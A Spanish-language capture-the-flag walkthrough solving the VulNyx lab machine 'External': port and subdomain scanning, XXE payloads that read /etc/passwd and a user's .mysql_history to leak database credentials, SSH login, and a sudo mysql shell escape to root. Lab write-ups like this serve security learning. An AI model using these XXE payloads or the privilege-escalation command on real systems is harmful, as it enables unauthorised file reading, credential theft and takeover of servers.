VulNyx - External
- XXE File Read
- Leakage Credentials
- Abuse Mysql Binary
Escaneo de puertos.
❯ nmap -p- -v -T5 -n 192.168.1.112
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
Escaneo de servicios.
❯ nmap -sVC -v -p 22,80,3306 192.168.1.112
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0e624fb9eb07a1abdf7b185237fb16f (RSA)
| 256 99c87431451058b0cecc63b47a82573d (ECDSA)
|_ 256 60da3e3138fab549ab48c3432c9fd132 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: 404 Not Found
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.56 (Debian)
3306/tcp open mysql MySQL 5.5.5-10.5.19-MariaDB-0+deb11u2
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.5.19-MariaDB-0+deb11u2
| Thread ID: 9
| Capabilities flags: 63486
| Some Capabilities: IgnoreSigpipes, ConnectWithDatabase, SupportsTransactions, IgnoreSpaceBeforeParenthesis, Support41Auth, Speaks41ProtocolOld, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, InteractiveClient, LongColumnFlag, SupportsCompression, SupportsLoadDataLocal, FoundRows, ODBCClient, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
| Status: Autocommit
| Salt: )t-#cM9sW;aUh-CJ(+<,
|_ Auth Plugin Name: mysql_native_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Puerto 80
En el código fuente encuentro el dominio ext.nyx.
Hago una búsqueda de subdominios y encuentro administrator.
❯ wfuzz -t 200 -c --hw=24 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.ext.nyx" http://ext.nyx
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://ext.nyx/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000007602: 200 25 L 56 W 1089 Ch "administrator"
Me voy al nuevo subdominio y veo un formulario de registro.
Si intento registrarme con mi nick me dice que el usuario ya existe.
Capturo la petición con Burpsuite y veo que los datos están publicados en formato xml.
Detecto la vulnerabilidad usando este recurso What are XML custom entities. Para ello he creado un archivo con el nombre vuln y le he añadido el siguiente código:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myentity "XXE VULNERABLE!"> ]>
<details>
<email>
&myentity;
</email>
<password>1234</password>
</details>
Mando la petición con curl y veo que es vulnerable a XXE.
❯ curl -X POST "http://administrator.ext.nyx/form.php" --upload-file "vuln"
<p align='center'> <font color=white size='5pt'>
XXE VULNERABLE!
is already registered! </font> </p>
Modifico el archivo vuln para que pueda leer el archivo passwd.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<details>
<email>
&xxe;
</email>
<password>1234</password>
</details>
Lanzo curl de nuevo, me muestra el archivo passwd y enumero el usuario admin.
❯ curl -X POST "http://administrator.ext.nyx/form.php" --upload-file "vuln"
<p align='center'> <font color=white size='5pt'>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
admin:x:1000:1000:admin,,,:/home/admin:/bin/bash
is already registered! </font> </p>
Finalmente modifico de nuevo el archivo vuln para que lea el archivo .mysql_history
del usuario admin.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///home/admin/.mysql_history"> ]>
<details>
<email>
&xxe;
</email>
<password>1234</password>
</details>
Lanzo curl y obtengo las credenciales de acceso al servidor mysql.
❯ curl -X POST "http://administrator.ext.nyx/form.php" --upload-file "vuln"
<p align='center'> <font color=white size='5pt'>
ALTER USER 'root'@'%' IDENTIFIED BY 'r*******DB';
exit;
is already registered! </font> </p>
Me conecto al servidor mysql.
❯ mysql -h 192.168.1.112 -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 7
Server version: 10.5.19-MariaDB-0+deb11u2 Debian 11
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
Enumero las bases de datos existentes.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| admindb |
| information_schema |
| mysql |
| performance_schema |
+--------------------+
4 rows in set (0,005 sec)
Entro en admindb.
MariaDB [(none)]> use admindb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
Dentro de admindb hay la tabla credentials y dentro de credentials hay las credenciales del usuario admin.
MariaDB [admindb]> show tables;
+-------------------+
| Tables_in_admindb |
+-------------------+
| credentials |
+-------------------+
1 row in set (0,001 sec)
MariaDB [admindb]> select * from credentials;
+------+-------+--------------------------+
| id | user | password |
+------+-------+--------------------------+
| 1 | admin | 4********************123 |
+------+-------+--------------------------+
1 row in set (0,008 sec)
Me conecto al sistema con las credenciales obtenidas.
❯ ssh admin@192.168.1.112
admin@192.168.1.112's password:
Linux external 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64
admin@external:~$
Enumero permisos de sudo
admin@external:~$ sudo -l
Matching Defaults entries for admin on external:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User admin may run the following commands on external:
(root) NOPASSWD: /usr/bin/mysql
Obtengo el root usando este recurso de gtfobins.
admin@external:~$ sudo mysql -e '\! /bin/bash'
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO)
Añado la flag -p e introduzco la contraseña del usuario root de la base de datos.
admin@external:~$ sudo mysql -e '\! /bin/bash' -p
Enter password:
root@external:/home/admin# id
uid=0(root) gid=0(root) grupos=0(root)
Y con esto ya tenemos resuelta la máquina External.
Saludos!